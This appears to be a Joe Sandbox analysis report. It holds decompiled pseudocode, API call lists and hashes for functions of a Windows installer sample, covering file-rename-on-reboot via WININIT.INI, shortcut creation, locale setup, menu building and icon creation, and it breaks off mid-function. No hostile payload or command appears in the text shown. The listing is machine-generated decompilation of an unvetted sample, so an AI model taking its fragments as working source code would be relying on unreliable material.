                                                          0x00000000
                                                          0x0045245b
                                                          0x0045245b
                                                          0x00000000
                                                          0x0045245b
                                                          0x00452459
                                                          0x00452448
                                                          0x00000000
                                                          0x00452440
                                                          0x00452484
                                                          0x0045248e
                                                          0x0045248e
                                                          0x00452497
                                                          0x004524ae
                                                          0x00452499
                                                          0x0045249f
                                                          0x0045249f
                                                          0x004524b9
                                                          0x004524c6
                                                          0x004524ce
                                                          0x004524d5
                                                          0x004524dd
                                                          0x004524de
                                                          0x004524e9
                                                          0x004524f0
                                                          0x004524f8
                                                          0x004524f8
                                                          0x00452515
                                                          0x00452505
                                                          0x00452510
                                                          0x00452510
                                                          0x00452523
                                                          0x00452526
                                                          0x00452529
                                                          0x00452531
                                                          0x0045253e
                                                          0x0045253e
                                                          0x00452309
                                                          0x00452309
                                                          0x0045230b
                                                          0x0045230d
                                                          0x0045230e
                                                          0x00000000
                                                          0x00452310
                                                          0x00452310
                                                          0x00452311
                                                          0x00452311
                                                          0x00452311
                                                          0x00452315
                                                          0x00452316
                                                          0x00452317
                                                          0x0045231a
                                                          0x0045231d
                                                          0x00452322
                                                          0x0045232a
                                                          0x00452331
                                                          0x00452332
                                                          0x00452337
                                                          0x0045233a
                                                          0x00452343
                                                          0x0045234e
                                                          0x00452357
                                                          0x0045235f
                                                          0x0045236a
                                                          0x0045236a
                                                          0x00452357
                                                          0x00000000

                                                          APIs
                                                          • WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004523E7
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: PrivateProfileStringWrite
                                                          • String ID: .tmp$MoveFileEx$NUL$WININIT.INI$[rename]
                                                          • API String ID: 390214022-3304407042
                                                          • Opcode ID: 7d4c874885961ad982ecbd9931170a781c0c89f31fdfb6e4cbb796c965dfbfee
                                                          • Instruction ID: 85f1b18e2bc7e57fbdb0d44d40507634a4c2e59e2dae560debc06f3ffdabfebd
                                                          • Opcode Fuzzy Hash: 7d4c874885961ad982ecbd9931170a781c0c89f31fdfb6e4cbb796c965dfbfee
                                                          • Instruction Fuzzy Hash: 75910434E00209ABDF11EFA5D982BDEB7B5EF49305F508467E90077292D778AE09CB58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 69%
                                                          			E00454838(void* __eax, void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, short _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
                                                          				intOrPtr _v8;
                                                          				void* _v12;
                                                          				void* _v16;
                                                          				intOrPtr _v20;
                                                          				char _v24;
                                                          				char* _t53;
                                                          				intOrPtr* _t58;
                                                          				intOrPtr* _t63;
                                                          				intOrPtr* _t67;
                                                          				intOrPtr* _t71;
                                                          				void* _t73;
                                                          				intOrPtr* _t77;
                                                          				void* _t79;
                                                          				intOrPtr* _t83;
                                                          				intOrPtr* _t86;
                                                          				void* _t93;
                                                          				intOrPtr* _t100;
                                                          				intOrPtr* _t105;
                                                          				intOrPtr* _t111;
                                                          				intOrPtr* _t116;
                                                          				char* _t119;
                                                          				intOrPtr _t124;
                                                          				intOrPtr _t133;
                                                          				void* _t139;
                                                          				void* _t141;
                                                          				void* _t143;
                                                          				void* _t144;
                                                          				intOrPtr _t145;
                                                          
                                                          				_t143 = _t144;
                                                          				_t145 = _t144 + 0xffffffec;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v24 = 0;
                                                          				_v8 = __ecx;
                                                          				_t139 = __edx;
                                                          				_t141 = __eax;
                                                          				_t124 = _a8;
                                                          				_push(_t143);
                                                          				_push(0x454a2e);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t145;
                                                          				if(_t124 == 0) {
                                                          					_t53 = 0x80004005;
                                                          				} else {
                                                          					_t53 =  &_v12;
                                                          					_push(_t53);
                                                          					_push(0x48c788);
                                                          					_push(1);
                                                          					_push(0);
                                                          					_push(0x48ca24);
                                                          					L0042CD1C();
                                                          				}
                                                          				if(_t53 != 0) {
                                                          					_t124 = 0;
                                                          					_t119 =  &_v12;
                                                          					_push(_t119);
                                                          					_push(0x48c788);
                                                          					_push(1);
                                                          					_push(0);
                                                          					_push(0x48c778);
                                                          					L0042CD1C();
                                                          					_t148 = _t119;
                                                          					if(_t119 != 0) {
                                                          						E00451C00("CoCreateInstance", 0, _t119, _t139, _t141, _t148);
                                                          					}
                                                          				}
                                                          				_v16 = 0;
                                                          				_v20 = 0;
                                                          				 *[fs:edx] = _t145;
                                                          				_t58 = _v12;
                                                          				 *((intOrPtr*)( *_t58 + 0x50))(_t58, E00403880(_v8),  *[fs:edx], 0x454a11, _t143);
                                                          				_t63 = _v12;
                                                          				 *((intOrPtr*)( *_t63 + 0x2c))(_t63, E00403880(_a32));
                                                          				if(_a28 != 0) {
                                                          					_t116 = _v12;
                                                          					 *((intOrPtr*)( *_t116 + 0x24))(_t116, E00403880(_a28));
                                                          				}
                                                          				if(_a24 != 0) {
                                                          					_t111 = _v12;
                                                          					 *((intOrPtr*)( *_t111 + 0x44))(_t111, E00403880(_a24), _a20);
                                                          				}
                                                          				_t67 = _v12;
                                                          				 *((intOrPtr*)( *_t67 + 0x3c))(_t67, _a16);
                                                          				if(_t139 != 0) {
                                                          					_t105 = _v12;
                                                          					 *((intOrPtr*)( *_t105 + 0x1c))(_t105, E00403880(_t139));
                                                          				}
                                                          				if(_a12 != 0) {
                                                          					_t100 = _v12;
                                                          					 *((intOrPtr*)( *_t100 + 0x34))(_t100, _a12);
                                                          				}
                                                          				_t71 = _v12;
                                                          				_t73 =  *((intOrPtr*)( *_t71))(_t71, 0x48c758,  &_v16);
                                                          				_t153 = _t73;
                                                          				if(_t73 != 0) {
                                                          					_t73 = E00451C00("IShellLink::QueryInterface", _t124, _t73, _t139, _t141, _t153);
                                                          				}
                                                          				if(_t124 == 0) {
                                                          					L19:
                                                          					_v20 = E00403DEC(_t141);
                                                          					goto L20;
                                                          				} else {
                                                          					_t93 = E00454740(_t73);
                                                          					_t155 = _t93;
                                                          					if(_t93 == 0) {
                                                          						goto L19;
                                                          					}
                                                          					E0042C6B8(_t141, _t124,  &_v24, 0, _t139, _t141, _t155);
                                                          					_v20 = E00403DEC(_v24);
                                                          					L20:
                                                          					if(_v20 == 0) {
                                                          						E00408DE4();
                                                          					}
                                                          					_t77 = _v16;
                                                          					_t79 =  *((intOrPtr*)( *_t77 + 0x18))(_t77, _v20, 1);
                                                          					_t157 = _t79;
                                                          					if(_t79 != 0) {
                                                          						E00451C00("IPersistFile::Save", _t124, _t79, _t139, _t141, _t157);
                                                          					}
                                                          					E00454750(_v16, _t124, _a4, _t141, _t139, _t141, _t157);
                                                          					_pop(_t133);
                                                          					 *[fs:eax] = _t133;
                                                          					_push(0x454a18);
                                                          					if(_v20 != 0) {
                                                          						_push(_v20);
                                                          						L0042CD4C();
                                                          					}
                                                          					if(_v16 != 0) {
                                                          						_t86 = _v16;
                                                          						 *((intOrPtr*)( *_t86 + 8))(_t86);
                                                          					}
                                                          					_t83 = _v12;
                                                          					return  *((intOrPtr*)( *_t83 + 8))(_t83);
                                                          				}
                                                          			}































                                                          0x00454839
                                                          0x0045483b
                                                          0x0045483e
                                                          0x0045483f
                                                          0x00454840
                                                          0x00454843
                                                          0x00454846
                                                          0x00454849
                                                          0x0045484b
                                                          0x0045484d
                                                          0x00454852
                                                          0x00454853
                                                          0x00454858
                                                          0x0045485b
                                                          0x00454860
                                                          0x0045487b
                                                          0x00454862
                                                          0x00454862
                                                          0x00454865
                                                          0x00454866
                                                          0x0045486b
                                                          0x0045486d
                                                          0x0045486f
                                                          0x00454874
                                                          0x00454874
                                                          0x00454882
                                                          0x00454884
                                                          0x00454886
                                                          0x00454889
                                                          0x0045488a
                                                          0x0045488f
                                                          0x00454891
                                                          0x00454893
                                                          0x00454898
                                                          0x0045489d
                                                          0x0045489f
                                                          0x004548a8
                                                          0x004548a8
                                                          0x0045489f
                                                          0x004548af
                                                          0x004548b4
                                                          0x004548c2
                                                          0x004548ce
                                                          0x004548d4
                                                          0x004548e0
                                                          0x004548e6
                                                          0x004548ed
                                                          0x004548f8
                                                          0x004548fe
                                                          0x004548fe
                                                          0x00454905
                                                          0x00454914
                                                          0x0045491a
                                                          0x0045491a
                                                          0x00454921
                                                          0x00454927
                                                          0x0045492c
                                                          0x00454936
                                                          0x0045493c
                                                          0x0045493c
                                                          0x00454944
                                                          0x0045494b
                                                          0x00454951
                                                          0x00454951
                                                          0x0045495d
                                                          0x00454963
                                                          0x00454965
                                                          0x00454967
                                                          0x00454970
                                                          0x00454970
                                                          0x00454977
                                                          0x0045499b
                                                          0x004549a2
                                                          0x00000000
                                                          0x00454979
                                                          0x00454979
                                                          0x0045497e
                                                          0x00454980
                                                          0x00000000
                                                          0x00000000
                                                          0x00454989
                                                          0x00454996
                                                          0x004549a5
                                                          0x004549a9
                                                          0x004549ab
                                                          0x004549ab
                                                          0x004549b6
                                                          0x004549bc
                                                          0x004549bf
                                                          0x004549c1
                                                          0x004549ca
                                                          0x004549ca
                                                          0x004549d7
                                                          0x004549de
                                                          0x004549e1
                                                          0x004549e4
                                                          0x004549ed
                                                          0x004549f2
                                                          0x004549f3
                                                          0x004549f3
                                                          0x004549fc
                                                          0x004549fe
                                                          0x00454a04
                                                          0x00454a04
                                                          0x00454a07
                                                          0x00454a10
                                                          0x00454a10

                                                          APIs
                                                          • 76E2B690.OLE32(0048CA24,00000000,00000001,0048C788,?,00000000,00454A2E), ref: 00454874
                                                            • Part of subcall function 00403DEC: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403E26
                                                            • Part of subcall function 00403DEC: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403E31
                                                          • 76E2B690.OLE32(0048C778,00000000,00000001,0048C788,?,00000000,00454A2E), ref: 00454898
                                                          • SysFreeString.OLEAUT32(00000000), ref: 004549F3
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: B690String$AllocByteCharFreeMultiWide
                                                          • String ID: CoCreateInstance$IPersistFile::Save$IShellLink::QueryInterface
                                                          • API String ID: 3058977878-615220198
                                                          • Opcode ID: 9423e9b337cee8fbe4770dca87892ebb5335933748168407e0bbfd7638a1954a
                                                          • Instruction ID: 04063d8438c49896bf8ff3378263cd16c234eebe7b4a91fe488d377965e86307
                                                          • Opcode Fuzzy Hash: 9423e9b337cee8fbe4770dca87892ebb5335933748168407e0bbfd7638a1954a
                                                          • Instruction Fuzzy Hash: 1F514071640105AFDB40EFA9C885F9E77F8AF49309F014066F914EB292DB78DD88CB29
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 61%
                                                          			E00408904(void* __ebx, void* __edi, void* __esi) {
                                                          				char _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				intOrPtr _t148;
                                                          				intOrPtr _t156;
                                                          
                                                          				_t153 = __esi;
                                                          				_t152 = __edi;
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_push(_t156);
                                                          				_push(0x408b4c);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t156;
                                                          				_t104 = GetSystemDefaultLCID();
                                                          				E0040874C(_t31, 0, 0x14,  &_v16);
                                                          				E00403598(0x48d498, _t104, _v16, __edi, __esi);
                                                          				E0040874C(_t104, 0x408b64, 0x1b,  &_v16);
                                                          				 *0x48d49c = E00406E70(0x408b64, 0);
                                                          				E0040874C(_t104, 0x408b64, 0x1c,  &_v16);
                                                          				 *0x48d49d = E00406E70(0x408b64, 0);
                                                          				 *0x48d49e = E00408798(_t104, 0x2c, 0xf);
                                                          				 *0x48d49f = E00408798(_t104, 0x2e, 0xe);
                                                          				E0040874C(_t104, 0x408b64, 0x19,  &_v16);
                                                          				 *0x48d4a0 = E00406E70(0x408b64, 0);
                                                          				 *0x48d4a1 = E00408798(_t104, 0x2f, 0x1d);
                                                          				E0040874C(_t104, "m/d/yy", 0x1f,  &_v16);
                                                          				E00403598(0x48d4a4, _t104, _v16, _t152, _t153);
                                                          				E0040874C(_t104, "mmmm d, yyyy", 0x20,  &_v16);
                                                          				E00403598(0x48d4a8, _t104, _v16, _t152, _t153);
                                                          				 *0x48d4ac = E00408798(_t104, 0x3a, 0x1e);
                                                          				E0040874C(_t104, 0x408b98, 0x28,  &_v16);
                                                          				E00403598(0x48d4b0, _t104, _v16, _t152, _t153);
                                                          				E0040874C(_t104, 0x408ba4, 0x29,  &_v16);
                                                          				E00403598(0x48d4b4, _t104, _v16, _t152, _t153);
                                                          				E0040874C(_t104, 0x408b64, 0x25,  &_v16);
                                                          				if(E00406E70(0x408b64, 0) != 0) {
                                                          					E004035DC( &_v8, 0x408bbc);
                                                          				} else {
                                                          					E004035DC( &_v8, 0x408bb0);
                                                          				}
                                                          				E0040874C(_t104, 0x408b64, 0x23,  &_v16);
                                                          				if(E00406E70(0x408b64, 0) != 0) {
                                                          					E00403548( &_v12);
                                                          				} else {
                                                          					E004035DC( &_v12, 0x408bc8);
                                                          				}
                                                          				_push(_v8);
                                                          				_push(":mm");
                                                          				_push(_v12);
                                                          				E0040377C();
                                                          				_push(_v8);
                                                          				_push(":mm:ss");
                                                          				_push(_v12);
                                                          				E0040377C();
                                                          				_pop(_t148);
                                                          				 *[fs:eax] = _t148;
                                                          				_push(E00408B53);
                                                          				return E00403568( &_v16, 3);
                                                          			}








                                                          0x00408904
                                                          0x00408904
                                                          0x00408907
                                                          0x00408909
                                                          0x0040890b
                                                          0x0040890e
                                                          0x0040890f
                                                          0x00408912
                                                          0x00408913
                                                          0x00408918
                                                          0x0040891b
                                                          0x00408923
                                                          0x00408932
                                                          0x0040893f
                                                          0x00408954
                                                          0x00408963
                                                          0x00408978
                                                          0x00408987
                                                          0x0040899a
                                                          0x004089ad
                                                          0x004089c2
                                                          0x004089d1
                                                          0x004089e4
                                                          0x004089f9
                                                          0x00408a06
                                                          0x00408a1b
                                                          0x00408a28
                                                          0x00408a3b
                                                          0x00408a50
                                                          0x00408a5d
                                                          0x00408a72
                                                          0x00408a7f
                                                          0x00408a94
                                                          0x00408aa5
                                                          0x00408abe
                                                          0x00408aa7
                                                          0x00408aaf
                                                          0x00408aaf
                                                          0x00408ad3
                                                          0x00408ae4
                                                          0x00408af8
                                                          0x00408ae6
                                                          0x00408aee
                                                          0x00408aee
                                                          0x00408afd
                                                          0x00408b00
                                                          0x00408b05
                                                          0x00408b12
                                                          0x00408b17
                                                          0x00408b1a
                                                          0x00408b1f
                                                          0x00408b2c
                                                          0x00408b33
                                                          0x00408b36
                                                          0x00408b39
                                                          0x00408b4b

                                                          APIs
                                                          • GetSystemDefaultLCID.KERNEL32(00000000,00408B4C,?,?,?,?,00000000,00000000,00000000,?,00409B93,00000000,00409BA6), ref: 0040891E
                                                            • Part of subcall function 0040874C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0048D4C0,00000001,?,00408817,?,00000000,004088F6), ref: 0040876A
                                                            • Part of subcall function 00408798: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040899A,?,?,?,00000000,00408B4C), ref: 004087AB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: InfoLocale$DefaultSystem
                                                          • String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
                                                          • API String ID: 1044490935-665933166
                                                          • Opcode ID: 81a932f8153ae78f5a34053263b439ba7e7a26f4bb25af516e14527f0454616a
                                                          • Instruction ID: cbac9e27da11d265a24ee1a403533bf6af8fcf46891778997080b57a8c7b220e
                                                          • Opcode Fuzzy Hash: 81a932f8153ae78f5a34053263b439ba7e7a26f4bb25af516e14527f0454616a
                                                          • Instruction Fuzzy Hash: 5B514C64B01208ABD701EBA5CD41A8E77AADB89704F20D47FB141BB3D6CE3CEA05875C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 80%
                                                          			E0041190C(void* __eax, void* __ebx, struct HMENU__* __edx, void* __edi, intOrPtr __esi) {
                                                          				char _v8;
                                                          				struct tagMENUITEMINFOA _v52;
                                                          				char _v56;
                                                          				intOrPtr _t91;
                                                          				CHAR* _t97;
                                                          				short _t128;
                                                          				void* _t132;
                                                          				intOrPtr _t139;
                                                          				struct HMENU__* _t159;
                                                          				int _t163;
                                                          				void* _t167;
                                                          				void* _t171;
                                                          
                                                          				_t160 = __esi;
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v56 = 0;
                                                          				_v8 = 0;
                                                          				_t159 = __edx;
                                                          				_t132 = __eax;
                                                          				_push(_t167);
                                                          				_push(0x411b11);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t167 + 0xffffffcc;
                                                          				if( *((char*)(__eax + 0x2c)) == 0) {
                                                          					L15:
                                                          					_pop(_t139);
                                                          					 *[fs:eax] = _t139;
                                                          					_push(E00411B18);
                                                          					E00403548( &_v56);
                                                          					return E00403548( &_v8);
                                                          				}
                                                          				E004035DC( &_v8,  *((intOrPtr*)(__eax + 0x20)));
                                                          				if(E00411EB4(_t132) <= 0) {
                                                          					__eflags =  *((short*)(_t132 + 0x40));
                                                          					if( *((short*)(_t132 + 0x40)) == 0) {
                                                          						L8:
                                                          						_t171 = (GetVersion() & 0x000000ff) - 4;
                                                          						if(_t171 < 0) {
                                                          							_t163 =  *(0x48c298 + ((E004037CC( *((intOrPtr*)(_t132 + 0x20)), E00411B34) & 0xffffff00 | __eflags == 0x00000000) & 0x0000007f) * 4) |  *0x0048C28C |  *0x0048C27C |  *0x0048C284 | 0x00000400;
                                                          							_t91 = E00411EB4(_t132);
                                                          							__eflags = _t91;
                                                          							if(_t91 <= 0) {
                                                          								InsertMenuA(_t159, 0xffffffff, _t163,  *(_t132 + 0x30) & 0x0000ffff, E00403880(_v8));
                                                          							} else {
                                                          								_t97 = E00403880( *((intOrPtr*)(_t132 + 0x20)));
                                                          								InsertMenuA(_t159, 0xffffffff, _t163 | 0x00000010, E00411CC4(_t132, _t159, _t163), _t97);
                                                          							}
                                                          						} else {
                                                          							_v52.cbSize = 0x2c;
                                                          							_v52.fMask = 0x3f;
                                                          							_v52.fType =  *(0x48c2cc + ((E004037CC( *((intOrPtr*)(_t132 + 0x20)), E00411B34) & 0xffffff00 | _t171 == 0x00000000) & 0x0000007f) * 4) |  *0x0048C2C4 |  *0x0048C2A0;
                                                          							_v52.fState =  *0x0048C2AC |  *0x0048C2BC |  *0x0048C2B4;
                                                          							_v52.wID =  *(_t132 + 0x30) & 0x0000ffff;
                                                          							_v52.hSubMenu = 0;
                                                          							_v52.hbmpChecked = 0;
                                                          							_v52.hbmpUnchecked = 0;
                                                          							_v52.dwTypeData = E00403880(_v8);
                                                          							if(E00411EB4(_t132) > 0) {
                                                          								_v52.hSubMenu = E00411CC4(_t132, _t159, _t160);
                                                          							}
                                                          							InsertMenuItemA(_t159, 0xffffffff, 1,  &_v52);
                                                          						}
                                                          						goto L15;
                                                          					}
                                                          					_t160 =  *((intOrPtr*)(_t132 + 0x44));
                                                          					__eflags = _t160;
                                                          					if(_t160 == 0) {
                                                          						L7:
                                                          						_push(_v8);
                                                          						_push(0x411b28);
                                                          						E004112F0( *((intOrPtr*)(_t132 + 0x40)), _t132, 0,  &_v56, _t159, _t160);
                                                          						_push(_v56);
                                                          						E0040377C();
                                                          						goto L8;
                                                          					}
                                                          					__eflags =  *((intOrPtr*)(_t160 + 0x44));
                                                          					if( *((intOrPtr*)(_t160 + 0x44)) != 0) {
                                                          						goto L7;
                                                          					}
                                                          					_t128 = E00402CE8( *((intOrPtr*)(_t160 + 4)), 0x410fe0);
                                                          					__eflags = _t128;
                                                          					if(_t128 != 0) {
                                                          						goto L8;
                                                          					}
                                                          					goto L7;
                                                          				}
                                                          				_v52.hSubMenu = E00411CC4(_t132, _t159, __esi);
                                                          				goto L8;
                                                          			}















                                                          0x0041190c
                                                          0x00411913
                                                          0x00411914
                                                          0x00411917
                                                          0x0041191a
                                                          0x0041191d
                                                          0x0041191f
                                                          0x00411923
                                                          0x00411924
                                                          0x00411929
                                                          0x0041192c
                                                          0x00411933
                                                          0x00411af3
                                                          0x00411af5
                                                          0x00411af8
                                                          0x00411afb
                                                          0x00411b03
                                                          0x00411b10
                                                          0x00411b10
                                                          0x0041193f
                                                          0x0041194d
                                                          0x0041195b
                                                          0x00411960
                                                          0x004119a4
                                                          0x004119ad
                                                          0x004119b1
                                                          0x00411aac
                                                          0x00411ab4
                                                          0x00411ab9
                                                          0x00411abb
                                                          0x00411aee
                                                          0x00411abd
                                                          0x00411ac0
                                                          0x00411ad5
                                                          0x00411ad5
                                                          0x004119b7
                                                          0x004119b7
                                                          0x004119be
                                                          0x004119f9
                                                          0x00411a20
                                                          0x00411a27
                                                          0x00411a2c
                                                          0x00411a31
                                                          0x00411a36
                                                          0x00411a41
                                                          0x00411a4d
                                                          0x00411a56
                                                          0x00411a56
                                                          0x00411a62
                                                          0x00411a62
                                                          0x00000000
                                                          0x004119b1
                                                          0x00411962
                                                          0x00411965
                                                          0x00411967
                                                          0x00411980
                                                          0x00411980
                                                          0x00411983
                                                          0x0041198f
                                                          0x00411994
                                                          0x0041199f
                                                          0x00000000
                                                          0x0041199f
                                                          0x00411969
                                                          0x0041196d
                                                          0x00000000
                                                          0x00000000
                                                          0x00411977
                                                          0x0041197c
                                                          0x0041197e
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041197e
                                                          0x00411956
                                                          0x00000000

                                                          APIs
                                                          • GetVersion.KERNEL32(00000000,00411B11), ref: 004119A4
                                                          • InsertMenuItemA.USER32(?,000000FF,00000001,0000002C), ref: 00411A62
                                                            • Part of subcall function 00411CC4: CreatePopupMenu.USER32(?,00411ACD,00000000,00000000,00411B11), ref: 00411CDE
                                                          • InsertMenuA.USER32(?,000000FF,?,?,00000000), ref: 00411AEE
                                                            • Part of subcall function 00411CC4: CreateMenu.USER32(?,00411ACD,00000000,00000000,00411B11), ref: 00411CE8
                                                          • InsertMenuA.USER32(?,000000FF,?,00000000,00000000), ref: 00411AD5
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Menu$Insert$Create$ItemPopupVersion
                                                          • String ID: ,$?
                                                          • API String ID: 2359071979-2308483597
                                                          • Opcode ID: 4c528fa5d3995bc83990e5b19509b77ea988bb30a46fc0ac49d423383eccc090
                                                          • Instruction ID: aacaa9dd046c779e90f1b5d76a723ea90a978e87e1adf0d0b51d2de3d13b441c
                                                          • Opcode Fuzzy Hash: 4c528fa5d3995bc83990e5b19509b77ea988bb30a46fc0ac49d423383eccc090
                                                          • Instruction Fuzzy Hash: 55512570A101419BDB00EF7ADC816EE7BF5AF09304B1545BAF944E73A6D738D941CB58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 89%
                                                          			E0041C07B(signed int __ebx, void* __edi) {
                                                          				struct HINSTANCE__* _t118;
                                                          				signed int _t125;
                                                          				signed int _t127;
                                                          				long _t132;
                                                          				void* _t134;
                                                          				void* _t140;
                                                          				intOrPtr _t150;
                                                          				signed int _t154;
                                                          				void* _t158;
                                                          				BYTE* _t159;
                                                          				BYTE* _t162;
                                                          				signed int _t164;
                                                          				void* _t166;
                                                          				intOrPtr _t167;
                                                          
                                                          				_t158 = __edi;
                                                          				_t127 = __ebx | 0xffffffff;
                                                          				 *(_t166 - 0x20) = 0;
                                                          				_t134 =  *((intOrPtr*)(_t166 - 0xc)) - 1;
                                                          				if(_t134 < 0) {
                                                          					L10:
                                                          					if(_t127 == 0xffffffff) {
                                                          						_t127 = 0;
                                                          					}
                                                          					 *((intOrPtr*)(_t166 - 0x44)) =  *((intOrPtr*)(_t166 - 0x10)) + (_t127 + _t127) * 8;
                                                          					 *((intOrPtr*)(_t166 - 0x30)) = E00406A40( *((intOrPtr*)( *((intOrPtr*)(_t166 - 0x44)) + 8)),  *((intOrPtr*)(_t166 - 0x10)), _t158, 0);
                                                          					 *[fs:eax] = _t167;
                                                          					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t166 - 4)))) + 8))( *[fs:eax], 0x41c230, _t166);
                                                          					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t166 - 4))))))();
                                                          					E0041BDD0( *((intOrPtr*)(_t166 - 0x30)),  *((intOrPtr*)(_t166 - 0x30)), _t166 - 0x3c, _t166 - 0x38,  *((intOrPtr*)( *((intOrPtr*)(_t166 - 4)))), 0);
                                                          					GetObjectA( *(_t166 - 0x3c), 0x18, _t166 - 0x74);
                                                          					GetObjectA( *(_t166 - 0x38), 0x18, _t166 - 0x5c);
                                                          					_t132 =  *(_t166 - 0x68) *  *(_t166 - 0x6c) * ( *(_t166 - 0x64) & 0x0000ffff);
                                                          					 *(_t166 - 0x40) =  *(_t166 - 0x50) *  *(_t166 - 0x54) * ( *(_t166 - 0x4c) & 0x0000ffff);
                                                          					 *((intOrPtr*)(_t166 - 0x18)) =  *(_t166 - 0x40) + _t132;
                                                          					 *(_t166 - 0x34) = E00406A40( *((intOrPtr*)(_t166 - 0x18)),  *(_t166 - 0x50) *  *(_t166 - 0x54) * ( *(_t166 - 0x4c) & 0x0000ffff) >> 0x20, _t158, 0);
                                                          					_push(_t166);
                                                          					_push(0x41c20d);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t167;
                                                          					_t159 =  *(_t166 - 0x34);
                                                          					_t162 =  &(( *(_t166 - 0x34))[_t132]);
                                                          					GetBitmapBits( *(_t166 - 0x3c), _t132, _t159);
                                                          					GetBitmapBits( *(_t166 - 0x38),  *(_t166 - 0x40), _t162);
                                                          					DeleteObject( *(_t166 - 0x38));
                                                          					DeleteObject( *(_t166 - 0x3c));
                                                          					_t118 =  *0x48d014; // 0x400000
                                                          					 *((intOrPtr*)( *((intOrPtr*)(_t166 - 8)))) = CreateIcon(_t118,  *(_t166 - 0x28),  *(_t166 - 0x24),  *(_t166 - 0x4c),  *(_t166 - 0x4a), _t159, _t162);
                                                          					if( *((intOrPtr*)( *((intOrPtr*)(_t166 - 8)))) == 0) {
                                                          						E0041B5AC();
                                                          					}
                                                          					_pop(_t150);
                                                          					 *[fs:eax] = _t150;
                                                          					_push(E0041C214);
                                                          					return E00402668( *(_t166 - 0x34));
                                                          				} else {
                                                          					_t140 = _t134 + 1;
                                                          					_t125 = 0;
                                                          					while(1) {
                                                          						_t154 =  *( *((intOrPtr*)(_t166 - 0x10)) + 2 + (_t125 + _t125) * 8) & 0x0000ffff;
                                                          						_t164 =  *(_t166 - 0x1a) & 0x0000ffff;
                                                          						if(_t154 == _t164) {
                                                          							break;
                                                          						}
                                                          						__eflags = _t127 - 0xffffffff;
                                                          						if(_t127 != 0xffffffff) {
